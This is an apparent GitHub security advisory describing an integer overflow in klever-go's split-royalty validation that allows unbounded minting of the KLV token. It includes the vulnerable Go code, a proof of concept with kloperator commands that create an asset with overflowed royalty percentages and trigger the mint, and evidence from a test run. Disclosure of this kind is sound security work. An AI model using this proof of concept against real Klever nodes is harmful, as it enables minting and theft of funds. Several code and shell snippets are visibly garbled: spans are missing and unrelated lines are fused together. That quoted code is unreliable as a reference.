GitHub Advisoryadvisory · Go
GHSA-cgc5-v3f2-8m2v Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)
CRITICAL
Official page ↗
- Aliases
- CVE-2026-54755
- Ecosystem
- Go
- Packages
- github.com/klever-io/klever-go
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
- Weaknesses
- CWE-190
- Reviewed
- 2026-08-28
Affected packages
• Go github.com/klever-io/klever-go: < 1.7.19 → fixed in 1.7.19
Description
Summary
The per-entry percentages of a KDA asset's split royalties are validated by summing
them into a `uint32` accumulator and checking the *sum* against `HundredPercent (10000)`,
with no upper bound on each individual entry. Two split entries whose percentages sum to
just over `2^32` wrap around below `10000` and pass validation, while each stored value
remains astronomically large (e.g. `0x80000000 = 2,147,483,648` ≈ 21,474,836%).
At royalty payout, each split recipient is credited `pool × hugePct / 10000` — far more than
the royalty pool — and the resulting negative remainder is silently discarded
(`if royaltiesToPay core.HundredPercent { // HundredPercent = 10000
return false
}
}
return true
}
```
The per-entry `> HundredPercent` check that exists for `TransferPercentage` tiers
(`create.go:398`, `trigger.go:780`) does not apply to these `SplitRoyalties` fields.
`0x80000000 + 0x80000000 = 0x1_0000_0000` → wraps to `0` in `uint32` → `CheckValid100Params(0)` is true.
3. Payout over-pays and silently drops the negative remainder (mint), in KLV
`core/kapp/accounts/accounts.go` — `processFixedRoyaltiesTransfer` (L316-382):
```go
err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
// L343: split paid in KLV using the overflowed PercentTransferFixed
status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
// ...
}
if royaltiesFixedToPay /tmp/klnode.log 2>&1 # clean recipient, will receive minted KLV
R2= # second recipient
/tmp/kloperator kda create 0 \
--name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
--royaltiesAddress= \
--royaltiesTransferFixed=1 \
--splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
--splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
-s --await
```
Expected: `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both
recipients (a correct chain would reject this).
Step 2 — mint KLV with one ordinary transfer
```bash
/tmp/kloperator account send "$R2" 1 --kda KPRT2- -s --await
```
Expected: `resultCode: Ok`, with two KLV transfer receipts of `214748364800`
(= 214,748.36 KLV) to R1 and R2 — for a `TransferFixed` royalty of `1000000` (1 KLV).
Verify the mint
```bash
R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
"import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"
```
---
Evidence (live single-node run, chainID 420420)
Asset creation — overflowed split royalties accepted (`resultCode: Ok`)
tx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract
(operator output, abridged):
```json
{
"type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
"ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"initialSupply": 1000000000000,
…
Related
Alias · CVE (1)
- CVE-2026-54755 Klever-Go is the Go implementation of the Klever blockchain protocol. vulnerability
Weakness · CWE (1)
- CWE-190 Integer Overflow or Wraparound weakness